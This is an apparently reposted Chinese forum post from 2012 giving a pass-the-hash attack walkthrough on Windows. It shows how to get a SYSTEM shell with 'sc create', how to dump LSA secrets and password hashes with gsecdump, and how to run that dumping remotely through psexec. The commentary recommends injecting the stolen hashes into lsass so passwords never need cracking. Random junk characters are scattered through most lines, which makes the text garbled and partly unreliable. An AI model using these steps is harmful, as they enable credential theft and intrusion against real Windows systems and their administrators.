标题: HASH注入式攻击 [打印本页] 作者: admin 时间: 2012-11-6 21:09 标题: HASH注入式攻击 o get a DOS Prompt as NT system:9 S; O4 }1 |, b0 l5 x
( k+ E2 C5 C% o4 @C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact8 {7 F8 Z8 T v! k. b% J
[SC] CreateService SUCCESS ) L2 T4 C) F$ Q% e: w3 F: n0 f( a$ D: `% G6 x- Y+ p
C:\>sc start shellcmdline ! ~ K6 f* V; M7 W( Y6 {( X( [7 }[SC] StartService FAILED 1053: ( Z. X7 U4 u6 z& G " P: q' o* I1 p. U8 K" L7 y7 rThe service did not respond to the start or control request in a timely fashion. " d- O; z" y2 Y 6 o- b. z3 u4 L4 AC:\>sc delete shellcmdline # t2 I9 b( \$ R4 D$ _" L[SC] DeleteService SUCCESS N4 \, M o' a& h' G1 s0 T
) l& p$ p+ B/ I
------------$ B- N) B* O5 b9 d
8 P# G5 G1 Q. }5 U( y X6 } B2 CThen in the new DOS window: 9 }: N4 x+ P7 b4 e% Y3 j5 i" T" z8 Q! _1 f6 y0 R+ y
Microsoft Windows XP [Version 5.1.2600] ) p5 i" E4 o5 k9 i" c' u1 h(C) Copyright 1985-2001 Microsoft Corp." P$ l2 g1 s z0 t) z! p
3 w+ B5 v4 x' e3 s* `8 [C:\WINDOWS\system32>whoami0 k/ ^) h! k! m5 k" X# y
NT AUTHORITY\SYSTEM 3 k# q+ ?' z0 L& z , z! f3 `% G% E; Z& E J8 uC:\WINDOWS\system32>gsecdump -h * D4 o8 O* R$ p! J7 i$ ogsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se) : \6 N0 J+ W" c7 z1 Pusage: gsecdump [options]0 h+ p7 b' I: M x
, g: N$ Q( ^/ p5 \# Z6 G( noptions:# x7 o& I( R2 a U7 y3 J" M* [6 B
-h [ --help ] show help5 `; r n8 b6 U1 p @, N2 {
-a [ --dump_all ] dump all secrets * D7 K4 \, v1 |/ ]' L6 i-l [ --dump_lsa ] dump lsa secrets% [- S$ @! s G. e$ t7 E
-w [ --dump_wireless ] dump microsoft wireless connections 6 p; Z9 k1 O3 z: i" w+ X) [-u [ --dump_usedhashes ] dump hashes from active logon sessions, o1 ]) N) j" v; f4 }8 z
-s [ --dump_hashes ] dump hashes from SAM/AD Q( w' z- M$ q G) ?* W% v
( {5 i5 E" S4 F* _& R, k: R
Although I like to use:3 \) k: s) E- j: Q: v
1 L; D4 x' q5 M: E" gPsExec v1.83 - Execute processes remotely% {: Z# i+ Z% _4 o5 [, d9 f
Copyright (C) 2001-2007 Mark Russinovich & H2 x9 w1 E: u( F% G" j, N RSysinternals - 链接标记[url]www.sysinternals.com[/url] 5 \0 m, j: W, ~5 c j- a; w$ C/ u* M
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT 8 v$ X% ?& g; R/ H1 ^4 K # L0 p3 l; g4 A$ L! }# ~. l" R2 Bto get the hashes from active logon sessions of a remote system. 7 e9 A( ~1 G2 P9 d- z' J 1 L% _: a- F; e; _+ x2 oThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables. + w& A! C8 M8 w3 h! @( C; x& u; r5 j8 m* W
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.1 o) e5 h! A4 P4 X7 G; I* _, @. b
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url] / t x) Y8 ~8 i+ S. b% \" Y- U" j" n8 w8 P# P
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。 + B5 R+ x" {/ U